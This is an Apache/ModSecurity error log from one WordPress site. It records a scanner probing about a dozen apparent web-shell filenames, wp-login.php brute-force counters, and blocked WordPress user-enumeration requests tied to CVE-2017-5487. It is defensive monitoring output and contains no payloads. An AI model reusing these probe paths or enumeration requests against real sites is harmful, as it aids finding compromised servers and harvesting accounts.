[Sat Apr 25 18:22:57.281597 2026] [:error] [pid 16195:tid 16217] [client 4.232.187.202:6888] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aeyWATVPLvrpvXaNQOkJSAAAABM"]
[Sat Apr 25 18:22:57.814062 2026] [:error] [pid 16106:tid 16120] [client 4.232.187.202:6792] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aeyWASGjdEsrWF7e-7MYEgAAAEo"]
[Sat Apr 25 18:22:58.341251 2026] [:error] [pid 16195:tid 16198] [client 4.232.187.202:6873] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aeyWAjVPLvrpvXaNQOkJUQAAAAA"]
[Sat Apr 25 18:22:58.841097 2026] [:error] [pid 16195:tid 16217] [client 4.232.187.202:6858] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aeyWAjVPLvrpvXaNQOkJUwAAABM"]
[Sat Apr 25 18:22:59.337113 2026] [:error] [pid 16195:tid 16207] [client 4.232.187.202:6825] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aeyWAzVPLvrpvXaNQOkJVgAAAAk"]
[Sat Apr 25 18:22:59.878504 2026] [:error] [pid 16195:tid 16202] [client 4.232.187.202:6823] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aeyWAzVPLvrpvXaNQOkJWwAAAAQ"]
[Sat Apr 25 18:23:00.418101 2026] [:error] [pid 16107:tid 16153] [client 4.232.187.202:6883] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aeyWBNIfF7Hy3tw0sYRhIgAAAJA"]
[Sat Apr 25 18:23:00.941007 2026] [:error] [pid 16108:tid 16186] [client 4.232.187.202:6525] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aeyWBIbPF4HSQDj6WrlbIwAAANQ"]
[Sat Apr 25 18:23:01.448854 2026] [:error] [pid 16106:tid 16134] [client 4.232.187.202:7122] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aeyWBSGjdEsrWF7e-7MYJgAAAFg"]
[Sat Apr 25 18:23:01.989373 2026] [:error] [pid 16195:tid 16207] [client 4.232.187.202:6901] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aeyWBTVPLvrpvXaNQOkJZQAAAAk"]
[Sat Apr 25 18:23:02.487636 2026] [:error] [pid 16195:tid 16202] [client 4.232.187.202:6827] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aeyWBjVPLvrpvXaNQOkJaAAAAAQ"]
[Sat Apr 25 18:23:02.984045 2026] [:error] [pid 16195:tid 16198] [client 4.232.187.202:6945] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aeyWBjVPLvrpvXaNQOkJawAAAAA"]
[Sat Apr 25 18:23:03.488313 2026] [:error] [pid 16107:tid 16145] [client 4.232.187.202:7110] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aeyWB9IfF7Hy3tw0sYRhKAAAAIg"]
[Sat Apr 25 18:23:03.963556 2026] [:error] [pid 16195:tid 16200] [client 4.232.187.202:6496] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aeyWBzVPLvrpvXaNQOkJbQAAAAI"]
[Sat Apr 25 18:23:04.435144 2026] [:error] [pid 16195:tid 16214] [client 4.232.187.202:6798] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeyWCDVPLvrpvXaNQOkJbwAAABA"]
[Sat Apr 25 18:23:04.937931 2026] [:error] [pid 16106:tid 16127] [client 4.232.187.202:6974] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeyWCCGjdEsrWF7e-7MYdQAAAFE"]
[Sat Apr 25 18:23:05.434847 2026] [:error] [pid 16195:tid 16211] [client 4.232.187.202:7134] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeyWCTVPLvrpvXaNQOkJcAAAAA0"]
[Sat Apr 25 18:23:05.902939 2026] [:error] [pid 16195:tid 16199] [client 4.232.187.202:6809] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeyWCTVPLvrpvXaNQOkJdAAAAAE"]
[Sat Apr 25 18:23:06.372735 2026] [:error] [pid 16195:tid 16218] [client 4.232.187.202:6822] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aeyWCjVPLvrpvXaNQOkJeAAAABQ"]
[Sat Apr 25 18:23:06.838908 2026] [:error] [pid 16195:tid 16212] [client 4.232.187.202:6476] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aeyWCjVPLvrpvXaNQOkJewAAAA4"]
[Sat Apr 25 18:23:07.304763 2026] [:error] [pid 16195:tid 16211] [client 4.232.187.202:7116] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aeyWCzVPLvrpvXaNQOkJgAAAAA0"]
[Sat Apr 25 18:23:07.772588 2026] [:error] [pid 16195:tid 16199] [client 4.232.187.202:6863] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aeyWCzVPLvrpvXaNQOkJgwAAAAE"]
[Sat Apr 25 18:23:08.240269 2026] [:error] [pid 16195:tid 16203] [client 4.232.187.202:6893] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ew.php"] [unique_id "aeyWDDVPLvrpvXaNQOkJhgAAAAU"]
[Sat Apr 25 18:23:08.707100 2026] [:error] [pid 16108:tid 16173] [client 4.232.187.202:6514] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ew.php"] [unique_id "aeyWDIbPF4HSQDj6WrlbhwAAAMc"]
[Sat Apr 25 18:23:09.173332 2026] [:error] [pid 16107:tid 16147] [client 4.232.187.202:6859] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ew.php"] [unique_id "aeyWDdIfF7Hy3tw0sYRhNAAAAIo"]
[Sat Apr 25 18:23:09.640035 2026] [:error] [pid 16108:tid 16164] [client 4.232.187.202:7031] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ew.php"] [unique_id "aeyWDYbPF4HSQDj6WrlbjAAAAMA"]
[Sat Apr 25 18:23:10.142847 2026] [:error] [pid 16195:tid 16220] [client 4.232.187.202:6969] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file21.php"] [unique_id "aeyWDjVPLvrpvXaNQOkJiQAAABY"]
[Sat Apr 25 18:23:10.646860 2026] [:error] [pid 16195:tid 16215] [client 4.232.187.202:7123] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file21.php"] [unique_id "aeyWDjVPLvrpvXaNQOkJjAAAABE"]
[Sat Apr 25 18:23:11.146333 2026] [:error] [pid 16108:tid 16182] [client 4.232.187.202:7114] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file21.php"] [unique_id "aeyWD4bPF4HSQDj6WrlblgAAANA"]
[Sat Apr 25 18:23:11.645486 2026] [:error] [pid 16107:tid 16141] [client 4.232.187.202:7104] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file21.php"] [unique_id "aeyWD9IfF7Hy3tw0sYRhOgAAAIQ"]
[Sat Apr 25 18:23:12.119167 2026] [:error] [pid 16108:tid 16166] [client 4.232.187.202:6738] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hypo.php"] [unique_id "aeyWEIbPF4HSQDj6WrlbnAAAAMI"]
[Sat Apr 25 18:23:12.625999 2026] [:error] [pid 16195:tid 16207] [client 4.232.187.202:6899] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hypo.php"] [unique_id "aeyWEDVPLvrpvXaNQOkJkwAAAAk"]
[Sat Apr 25 18:23:13.159594 2026] [:error] [pid 16195:tid 16210] [client 4.232.187.202:6527] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hypo.php"] [unique_id "aeyWETVPLvrpvXaNQOkJlwAAAAw"]
[Sat Apr 25 18:23:13.657737 2026] [:error] [pid 16195:tid 16203] [client 4.232.187.202:6472] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hypo.php"] [unique_id "aeyWETVPLvrpvXaNQOkJnQAAAAU"]
[Sat Apr 25 18:23:14.127397 2026] [:error] [pid 16108:tid 16190] [client 4.232.187.202:6786] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file18.php"] [unique_id "aeyWEobPF4HSQDj6WrlbpQAAANg"]
[Sat Apr 25 18:23:14.593738 2026] [:error] [pid 16106:tid 16123] [client 4.232.187.202:6521] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file18.php"] [unique_id "aeyWEiGjdEsrWF7e-7MYiAAAAE0"]
[Sat Apr 25 18:23:15.067601 2026] [:error] [pid 16107:tid 16150] [client 4.232.187.202:6523] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file18.php"] [unique_id "aeyWE9IfF7Hy3tw0sYRhRQAAAI0"]
[Sat Apr 25 18:23:15.540098 2026] [:error] [pid 16107:tid 16146] [client 4.232.187.202:6471] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file18.php"] [unique_id "aeyWE9IfF7Hy3tw0sYRhSQAAAIk"]
[Sat Apr 25 18:23:16.055207 2026] [:error] [pid 16107:tid 16137] [client 4.232.187.202:6481] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "aeyWFNIfF7Hy3tw0sYRhTQAAAIA"]
[Sat Apr 25 18:23:16.552544 2026] [:error] [pid 16107:tid 16143] [client 4.232.187.202:7046] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "aeyWFNIfF7Hy3tw0sYRhUgAAAIY"]
[Sat Apr 25 18:23:17.036413 2026] [:error] [pid 16107:tid 16145] [client 4.232.187.202:6895] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "aeyWFdIfF7Hy3tw0sYRhVgAAAIg"]
[Sat Apr 25 18:23:17.553166 2026] [:error] [pid 16107:tid 16159] [client 4.232.187.202:7127] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "aeyWFdIfF7Hy3tw0sYRhWgAAAJY"]
[Sat Apr 25 18:23:18.083091 2026] [:error] [pid 16108:tid 16184] [client 4.232.187.202:6500] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aeyWFobPF4HSQDj6WrlbtQAAANI"]
[Sat Apr 25 18:23:18.586568 2026] [:error] [pid 16195:tid 16205] [client 4.232.187.202:6807] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aeyWFjVPLvrpvXaNQOkJpAAAAAc"]
[Sat Apr 25 18:23:19.091278 2026] [:error] [pid 16195:tid 16219] [client 4.232.187.202:6834] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aeyWFzVPLvrpvXaNQOkJpgAAABU"]
[Sat Apr 25 18:23:19.588261 2026] [:error] [pid 16108:tid 16189] [client 4.232.187.202:6499] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aeyWF4bPF4HSQDj6WrlbvQAAANc"]
[Sat Apr 25 18:23:20.057507 2026] [:error] [pid 16107:tid 16158] [client 4.232.187.202:6502] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aeyWGNIfF7Hy3tw0sYRhfAAAAJU"]
[Sat Apr 25 18:23:20.554691 2026] [:error] [pid 16195:tid 16215] [client 4.232.187.202:6887] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aeyWGDVPLvrpvXaNQOkJrQAAABE"]
[Sat Apr 25 18:23:21.061956 2026] [:error] [pid 16106:tid 16132] [client 4.232.187.202:6519] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aeyWGSGjdEsrWF7e-7MYjAAAAFY"]
[Sat Apr 25 18:23:21.531881 2026] [:error] [pid 16106:tid 16134] [client 4.232.187.202:7129] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aeyWGSGjdEsrWF7e-7MYjgAAAFg"]
[Sat Apr 25 18:47:22.472427 2026] [:error] [pid 16108:tid 16182] [client 162.241.203.67:25230] [client 162.241.203.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.203.67, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeybuobPF4HSQDj6WrlkfAAAANA"]
[Sat Apr 25 18:47:24.420459 2026] [:error] [pid 16108:tid 16166] [client 162.241.203.67:25230] [client 162.241.203.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.203.67, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeybvIbPF4HSQDj6WrlkfwAAAMI"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 19:54:45.922428 2026] [:error] [pid 29049:tid 29073] [client 74.12.192.228:47374] [client 74.12.192.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.12.192.228, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeyrhSfsWHIvmg63qcWEcAAAARY"]
[Sat Apr 25 19:55:28.174863 2026] [:error] [pid 16108:tid 16174] [client 182.10.97.110:53706] [client 182.10.97.110] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeyrsIbPF4HSQDj6WrmG7QAAAMg"]
[Sat Apr 25 19:55:35.693290 2026] [:error] [pid 16195:tid 16222] [client 182.10.97.110:57944] [client 182.10.97.110] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeyrtzVPLvrpvXaNQOkomAAAABg"]
[Sat Apr 25 19:56:02.400528 2026] [:error] [pid 29049:tid 29058] [client 182.10.97.110:7254] [client 182.10.97.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.10.97.110, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeyr0ifsWHIvmg63qcWEtgAAAQc"]
